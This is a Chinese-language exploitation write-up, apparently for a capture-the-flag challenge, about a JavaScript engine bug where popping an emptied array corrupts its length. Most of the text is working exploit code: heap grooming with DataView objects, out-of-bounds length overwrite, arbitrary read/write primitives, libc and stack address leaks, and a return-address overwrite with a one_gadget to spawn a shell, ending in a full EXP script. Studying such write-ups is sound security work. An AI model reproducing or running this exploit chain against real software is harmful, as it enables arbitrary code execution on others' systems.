漏洞分析与利用
漏洞触发方式很简单
1 2 3 4
| a = new Array(1); a.pop(); a.pop(); print(a.length)
|

之后我们调试如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13
| a = new Array(1); a.pop(); a.pop(); a[1] = 0xbeef; a[2] = 0xdead; a[14] = 0x1234; a[15] = 0x5678;
print("finish");
for(let i = 0; i < 100000000; i ++){
}
|
可以通过硬看内存的方式看出来数组 a
的位置

其位置也在JS堆靠前的位置
随后声明两个 ArrayBuffer
和 DataView
,我们计划通过数组a
来修改 dv 的长度来越界读写,然后更改 dv2
的 ArrayBuffer
指针来达到任意地址读写的目的
数组a
使用INTEGER
的原因是我调试的时候发现如果使用的是浮点数或者字符串之类的东西,好像会单独开辟一个空间存储浮点数或字符串的值,然后将空间地址的指针存储到数组a
的element
处,这样并不好利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| a = new Array(1); a.pop(); a.pop(); a[1] = 0xbeef; a[2] = 0xdead; a[14] = 0x1234; a[15] = 0x5678;
var ab = new ArrayBuffer(0x1337); var dv = new DataView(ab); dv.setUint32(0,0xabcd); dv.setUint32(4,0xdcba);
var ab2 = new ArrayBuffer(0x1338); var dv2 = new DataView(ab2);
print("finish");
for(let i = 0; i < 100000000; i ++){
}
|
查看内存

可以发现 DataView
数据大致会存储长度和 element ptr

查看 element ptr
所指向的数据(也就是ArrayBuffer
),可以发现里面也有存储长度等内容,同时后面便是写入ArrayBuffer
的数据
但是如果我们仔细观察便会发现一个问题,内存布局是这样的从上到下分别是 ab
、ab2
、dv
、dv2
,我们无法通过dv
修改ab2
的指针
出现这种情况是因为JS堆内还有许多的空位,那么我们只要不断申请DataView
占位即可把dv2
移到后面
1 2 3 4
| var dv2 = new DataView(ab2); for(let i = 0; i < 90; i++){ dv2 = new DataView(ab2); }
|
效果如下

那么我们只要计算好dv
的长度存储的位置在数组a
的那一个索引上,即可通过修改数组a
的元素修改dv
的长度,之后通过向后搜索找到dv2
的长度的位置并修改后面的指针即可任意地址读写
由于代码的长度等因素会导致JS堆布局的变化,所以每次的索引都需要手动计算一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| a = new Array(1); a.pop(); a.pop(); a[1] = 0xbeef; a[2] = 0xdead; a[14] = 0x1234; a[15] = 0x5678;
var ab = new ArrayBuffer(0x1337); var dv = new DataView(ab); dv.setUint32(0,0xabcd); dv.setUint32(4,0xdcba);
var ab2 = new ArrayBuffer(0x1338); var dv2 = new DataView(ab2); for(let i = 0; i < 90; i++){ dv2 = new DataView(ab2); }
a[0xfb] = 0xffffff;
print("[+]change dv range");
for(let i = 0; i < 100000000; i ++){
}
var idx = 0; for (let i = 1; i < 0xf000; i++){ let v = dv.getUint32(i, 1); if(v == 0x1338){ idx = i; } }
print("Get idx!");
print("finish");
for(let i = 0; i < 100000000; i ++){
}
|
之后便可以构造任意读写原语
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| function arb_read(addr){ dv.setUint32(idx + 4, l32(addr[0])); dv.setUint32(idx + 8, l32(addr[1])); let result = new Uint32Array(2); result[0] = dv2.getUint32(0, 1) result[1] = dv2.getUint32(4, 1); return result; }
function arb_write(addr,val){ dv.setUint32(idx + 4, l32(addr[0])); dv.setUint32(idx + 8, l32(addr[1])); dv2.setUint32(0, l32(val[0])); dv2.setUint32(4, l32(val[1])); }
|
然后通过修改返回地址为one gadget
的方式getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| var u = new Uint32Array(2); u[0] = dv.getUint32(idx + 4, 1); u[1] = dv.getUint32(idx + 8, 1);
print(hex(pack64(u)));
var elf_base = new Uint32Array(2); elf_base[0] = u[0] - 0x26a6a0; elf_base[1] = u[1]; printhex("elf_base:",elf_base);
var putchar_got = new Uint32Array(2); putchar_got[0] = elf_base[0] + 0x266df0; putchar_got[1] = elf_base[1]; printhex("putchar_got:",putchar_got);
var libc_base = arb_read(putchar_got); libc_base[0] -= 0x89400; printhex("libc_base:",libc_base);
var environ_addr = new Uint32Array(2); environ_addr[0] = libc_base[0] + 0x1ef2d0; environ_addr[1] = libc_base[1]; printhex("environ_addr:",environ_addr); var stack_addr = arb_read(environ_addr); printhex("stack_addr:",stack_addr);
var one_gadget = new Uint32Array(2); one_gadget[0] = (libc_base[0] + 0xe6c7e); one_gadget[1] = libc_base[1]; printhex("one_gadget:",one_gadget); stack_addr[0] -= 0x118; arb_write(stack_addr,one_gadget);
|
但是这种方式在本机跑不同,因为满足不了 one gadget
的 r12
的要求


通过查看栈可以认为r12
的值是通过栈传递过去的,那么只要把栈上的值改为0
即可满足条件

最后试了试
1 2 3 4 5 6
| var zero = new Uint32Array(2); zero[0] = 0; zero[1] = 0; printhex("zero:",zero); stack_addr[0] -= 0x29; arb_write(stack_addr,zero);
|
果真如此,改了之后就可以 getshell
了

这里之所以是0x29的原因是如果是0x28则写入不进去,会直接崩溃,之前也遇到过这种情况,目前还不知道是什么原因导致的
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121
| function printhex(s,u){ print(s,"0x" + u[1].toString(16).padStart(8, '0') + u[0].toString(16).padStart(8, '0')); }
function hex(i){ return "0x" + i.toString(16).padStart(16, '0'); }
function pack64(u){ return u[0] + u[1] * 0x100000000; }
function l32(data){ let result = 0; for(let i=0;i<4;i++){ result <<= 8; result |= data & 0xff; data >>= 8; } return result; }
a = new Array(1); a.pop(); a.pop(); a[1] = 0xbeef; a[2] = 0xdead; a[14] = 0x1234; a[15] = 0x5678;
var ab = new ArrayBuffer(0x1337); var dv = new DataView(ab); dv.setUint32(0,0xabcd); dv.setUint32(4,0xdcba);
var ab2 = new ArrayBuffer(0x1338); var dv2 = new DataView(ab2); for(let i = 0; i < 90; i++){ dv2 = new DataView(ab2); }
a[0x19d] = 0xffffff;
print("[+]change ab range");
for(let i = 0; i < 100000000; i ++){
}
var idx = 0; for (let i = 1; i < 0xf000; i++){ let v = dv.getUint32(i, 1); if(v == 0x1338){ idx = i; } }
print("Get idx!");
function arb_read(addr){ dv.setUint32(idx + 4, l32(addr[0])); dv.setUint32(idx + 8, l32(addr[1])); let result = new Uint32Array(2); result[0] = dv2.getUint32(0, 1) result[1] = dv2.getUint32(4, 1); return result; }
function arb_write(addr,val){ dv.setUint32(idx + 4, l32(addr[0])); dv.setUint32(idx + 8, l32(addr[1])); dv2.setUint32(0, l32(val[0])); dv2.setUint32(4, l32(val[1])); }
var u = new Uint32Array(2); u[0] = dv.getUint32(idx + 4, 1); u[1] = dv.getUint32(idx + 8, 1);
print(hex(pack64(u)));
var elf_base = new Uint32Array(2); elf_base[0] = u[0] - 0x26a6a0; elf_base[1] = u[1]; printhex("elf_base:",elf_base);
var putchar_got = new Uint32Array(2); putchar_got[0] = elf_base[0] + 0x266df0; putchar_got[1] = elf_base[1]; printhex("putchar_got:",putchar_got);
var libc_base = arb_read(putchar_got); libc_base[0] -= 0x89400; printhex("libc_base:",libc_base);
var environ_addr = new Uint32Array(2); environ_addr[0] = libc_base[0] + 0x1ef2d0; environ_addr[1] = libc_base[1]; printhex("environ_addr:",environ_addr); var stack_addr = arb_read(environ_addr); printhex("stack_addr:",stack_addr);
var one_gadget = new Uint32Array(2); one_gadget[0] = (libc_base[0] + 0xe6c7e); one_gadget[1] = libc_base[1]; printhex("one_gadget:",one_gadget); stack_addr[0] -= 0x118; arb_write(stack_addr,one_gadget);
var zero = new Uint32Array(2); zero[0] = 0; zero[1] = 0; printhex("zero:",zero); stack_addr[0] -= 0x29; arb_write(stack_addr,zero);
print("finish");
for(let i = 0; i < 100000000; i ++){
}
|